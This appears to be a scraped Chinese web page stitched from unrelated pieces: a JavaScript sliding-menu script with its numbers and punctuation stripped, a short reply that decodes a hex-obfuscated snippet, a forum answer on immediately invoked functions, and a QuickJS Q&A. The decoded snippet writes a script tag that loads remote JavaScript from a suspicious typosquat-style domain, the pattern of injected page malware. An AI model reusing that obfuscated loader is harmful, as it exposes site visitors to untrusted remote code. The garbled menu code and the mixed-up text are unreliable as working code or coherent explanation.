<script>
function CoolMenuControl(){
// 常规变量 this lastScrollX= ; this lastScrollY= ; this lastScrollW= ; this lastScrollH= ; this td_X= ; this td_Y= ; this td_W= ; this td_H= ; this td= ; this mouseon= ; this current=null this _name; this table_name; this menudiv_name; this menutable_name; this ml= ; this menuarray=new Array(); this speed; this href="";
// 菜单项目 function menuitem(type value url target){ this type=type this value=value this url=url this target=target }
// 插入菜单 this insertmenu=function(type value url target){ this menuarray[this menuarray length]=new menuitem(type value url target) }
// 程序初试化 this init=function(name bdc bgc speed Alpha){ var in="" var cellcount= var lastcellcount= this _name=name+"" this table_name=name+"table" this menudiv_name=name+"menudiv" this menutable_name=name+"menutable" this speed=speed
for (i= ;i<this menuarray length;i++) { if (this menuarray[i] type==" ") cellcount=cellcount+ if (this menuarray[i] type==" " || this menuarray[i] type==" ") {cellcount= } if (lastcellcount<cellcount) {lastcellcount++} }
//alert(cellcount)
stylecode="cursor:hand;filter:Alpha(style= opacity="+Alpha+");background color:"+bgc
suspendcode="<DIV id="+this _name+" style= POSITION:absolute; onclick= "+name+" doClick() >" +"<table id="+this table_name+" border= width= cellspacing= style= border collapse: collapse bordercolor= "+bdc+" >" +"<tr><td height= style= "+stylecode+" ></td></tr></table></div>"; document write(suspendcode); var fcell=true for (i= ;i<this menuarray length;i++) { switch(this menuarray[i] type) { case " ": t=cellcount if (t<= ) { in+= <tr><td colspan= class=ht onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value } else { in+= <tr><td colspan= +t+ class=ht onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value } fcell=true break; case " ": t=(cellcount ) if (t<= ) { in+= <tr><td width= ><td onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value } else { in+= <tr><td width= ><td colspan= +t+ onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value } fcell=true break; case " ": if (fcell) { in+= <tr><td width= ><td onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value; fcell=false } else { in+= <td width= ><td onmouseover= +name+ href=" +this menuarray[i] url+ +this menuarray[i] target+ " > +this menuarray[i] value; } break; } } in= <div id= +this menudiv_name+ onmousemove=" +name+ doOver()"> + <table id= +this menutable_name+ border= cellpadding=" " class="menu" cellspacing=" "> +in + </table></div> ; //alert(in) document write(in);
this lastScrollX= ; this lastScrollY= ; this posXY(eval(this menutable_name) cells[ ]) this td_W=eval(this menutable_name) cells[ ] scrollWidth+ this td_H=eval(this menutable_name) cells[ ] scrollHeight setInterval(name+" scrollback()" ) }
// 单击超连接 this doClick=function(){ //alert(this url) var url=this href split(" ") //alert(url[ ]) //alert(url[ ]) if (url[ ]=="") return
if (url[ ]=="_blank") {window open(url[ ])} else {location href=url[ ]} }
// 滑动处理 this scrollback=function(){ diffX=this td_X diffY=this td_Y diffW=this td_W diffH=this td_H percentX=this speed(diffX this lastScrollX); percentY=this speed(diffY this lastScrollY); percentW=this speed(diffW this lastScrollW); percentH=this speed(diffH this lastScrollH);
if(percentX> )percentX=Math ceil(percentX); else percentX=Math floor(percentX); if(percentY> )percentY=Math ceil(percentY); else percentY=Math floor(percentY); if(percentW> )percentW=Math ceil(percentW); else percentW=Math floor(percentW); if(percentH> )percentH=Math ceil(percentH); else percentH=Math floor(percentH);
eval(this _name) style pixelTop+=percentY; eval(this _name) style pixelLeft+=percentX; eval(this table_name) style pixelWidth+=percentW; eval(this table_name) style pixelHeight+=percentH;
this lastScrollX=this lastScrollX+percentX; this lastScrollY=this lastScrollY+percentY; this lastScrollW=this lastScrollW+percentW; this lastScrollH=this lastScrollH+percentH; }
// 滑出 this doOver=function() { if (event srcElement tagName=="TD") { if (event srcElement innerText length== || event srcElement innerText=="|") return this posXY(event srcElement) this td_W=event srcElement scrollWidth+ this td_H=event srcElement scrollHeight } }
// 绝对定位 this posXY=function(obj){ _left=obj offsetLeft _top=obj offsetTop vParent = obj offsetParent; while (vParent tagName toUpperCase() != "BODY") { _left += vParent offsetLeft; _top += vParent offsetTop; vParent = vParent offsetParent; } this td_X=_left this td_Y=_top }
// 关于 this about=function(){ alert("OK") }
} </script>
<head> <meta equiv="Content Language" content="zh cn"> <style> b{color=# ;cursor:hand} menu { font family:Arial; cursor:Default; font size: px; border: px # solid; border collapse: collapse; filter:progid:DXImageTransform Microsoft Gradient(gradienttype= startcolorstr=#ffffff endcolorstr=#dddddd) progid:DXImageTransform Microsoft Shadow(direction= color=#cccccc strength= ); } ht{ font weight:bold } </style> <! 第一步 实体化X Menu类 用法: var <实体变量> new CoolMenuControl() > <script language="javascript"> var CoolMenu =new CoolMenuControl() var about=new Array() about[ ]="关于X Menu菜单nnAuthor:PuterJamnCopyright n转载请通知本人" about[ ]="关于作者nn"这家伙很懒 什么也没留下!!"
</script> </head> <body> <! 第二步 建立菜单项目 用法: <实体变量> insertmenu(类型 Html代码 链接网址 目标) 类型 0代表菜单标题 1代表树型菜单子项目 2代表横向菜单子项目 Html代码 显示在菜单上的Html代码 链接网址 不用多说了 网址或Javascript脚本 目标 默认为空 既不在本页打开 "_blank"代表在新的页面打开 例如: CoolMenu insertmenu(" " "<img src=// blueidea /img/icon/arrow gif> 新浪网" " "_blank") > <script> CoolMenu insertmenu(" " "本站首页" "" "") CoolMenu insertmenu(" " "新闻中心" " "_blank") CoolMenu insertmenu(" " "文章中心" " "_blank") CoolMenu insertmenu(" " "欣赏" " "_blank") CoolMenu insertmenu(" " "软件下载" " "_blank") CoolMenu insertmenu(" " "娱乐欣赏" " "_blank") </script>
lishixinzhi/Article/program/Java/JSP/201311/19958
这段代码是十六进制,你可以这样翻译一下
<Script language="javascript">
alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74");
alert("\x77\x72\x69\x74\x65");
alert("\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");
</Script>
结果就是加载了这段代码
(function(index){
// 处理代码
})(i);
楼主一定对上面的代码是怎么执行的完全不明白。在弄清楚为什么去掉i后就没有效果,你必须得先知道这个i到底为什么不能去掉,这种写法又到底是怎么回事。
其实这是一种函数立即调用的写法。也就是定义一个匿名函数,然后立即就执行这个函数。这样的写法相当于:
function tmpName(index){// 处理代码
}
tmpName(i);
再接近一点的写法如下:
var fn = function(index){// 处理代码
}
// 函数调用
fn(i);
你把上面的fn换成function(index){},是不是就是和你的那种写法一样了?只不过换后的函数省去了函数名。
很明显,index是形参,而i是在调用时传递的实参。如果不穿进去一个i,那就相当index参数没有了。这样的话,这个函数中用到的index的值就是null。试想,mDD[index]就变成了mDD[null],数组访问可以这样吗?这样不就出异常了吗?也是因此,不传进去i,会导致异常,会出错。
答案:是的,QuickJS 可以使用与 JavaScript 相关的生态。
解释:QuickJS 是一个轻量级的 JavaScript 引擎,由 Fabrice Bellard 和 Charlie Gordon 开发。它支持 ECMAScript 2019 标准,因此可以运行大多数现代 JavaScript 代码。尽管 QuickJS 主要用于嵌入式系统和脚本执行,但它仍然可以使用许多 JavaScript 生态系统中的库和工具。
拓展内容:
1 库和框架:QuickJS 可以使用许多常见的 JavaScript 库和框架,例如 Lodash、Momentjs 等。但是,需要注意的是,某些库可能依赖于特定的运行时环境(如浏览器或 Nodejs),在这种情况下,它们可能无法在 QuickJS 中正常工作。
2 模块系统:QuickJS 支持 ECMAScript 模块(ESM),这意味着您可以使用现代的模块导入和导出语法。然而,它不支持 Nodejs 的 CommonJS 模块系统,因此在使用某些库时可能需要进行转换。
3 限制:由于 QuickJS 主要用于嵌入式系统,因此它可能无法支持某些特定于浏览器或 Nodejs 的功能,例如 DOM 操作或网络请求。在这种情况下,您可能需要寻找替代方案或使用适用于 QuickJS 的库。
总之,QuickJS 可以使用 JavaScript 生态系统中的许多资源,但在使用过程中可能会遇到一些限制。在选择库和工具时,请确保它们与 QuickJS 兼容。
欢迎分享,转载请注明来源:浪漫分享网
评论列表(0条)